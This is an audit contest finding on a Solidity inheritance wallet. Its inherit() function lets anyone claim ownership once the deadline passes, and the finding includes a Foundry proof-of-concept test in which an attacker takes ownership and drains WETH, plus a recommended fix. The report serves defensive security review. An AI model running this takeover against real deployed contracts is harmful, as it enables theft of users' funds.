Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Ownership Takeover via `InheritanceManager::inherit` Function

Summary

The InheritanceManager::inherit function lacks access control, allowing an attacker to take over ownership under specific conditions. If the owner has only one beneficiary and inheritance deadline is passed, the attacker can trigger InheritanceManager::inherit and claim ownership. Once they become the new owner, they can exploit functions restricted to the contract owner, such as InheritanceManager::sendERC20, to steal funds.

Vulnerability Details

https://github.com/CodeHawks-Contests/2025-03-inheritable-smart-contract-wallet/blob/9de6350f3b78be35a987e972a1362e26d8d5817d/src/InheritanceManager.sol#L217

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

Exploitation Scenario

  1. The contract has only one beneficiary.

  2. The attacker waits for the inheritance deadline to pass.

  3. The attacker calls inheritanceManager::inherit(), becoming the new owner.

  4. As the new owner, the attacker calls inheritanceManager::sendERC20 to drain ERC20 tokens.

Proof of Concept

Paste the following test in inheritanceManagerTest.t.sol

function test_sendERC20FromAttacker() public {
usdc.mint(address(im), 10e18);
weth.mint(address(im), 10e18);
vm.startPrank(owner);
im.sendERC20(address(weth), 1e18, user1);
console.log("Previous owner balance before attack:", weth.balanceOf(address(im)));
address user2 = makeAddr("user2");
im.addBeneficiery(user2);
vm.stopPrank();
vm.warp(1 + 90 days);
vm.startPrank(address(attacker));
console.log("Attacker balance before attack:", weth.balanceOf(address(attacker)));
uint256 fullInheritanceBalance = weth.balanceOf(address(im));
im.inherit();
im.sendERC20(address(weth), fullInheritanceBalance, address(attacker));
console.log("Previous owner balance after attack:", weth.balanceOf(address(im)));
console.log("Attacker balance before attack:", weth.balanceOf(address(attacker)));
vm.stopPrank();
}

Impact

  • Allows unauthorized takeover of the contract.

  • Drains contract balance by exploiting inheritanceManager::sendERC20 and inheritanceManager::sendETH.

Tools Used

  • Foundry

Recommendations

  • Introduce access control such as adding the onlyBeneficiaryWithIsInherited Modifier on the inheritanceManager::inherit function as this ensures only valid beneficiaries can call inheritanceManager::inherit, and also if beneficiaries are not trusted, then remove the below IF statement.

if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
Updates

Lead Judging Commences

0xtimefliez Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.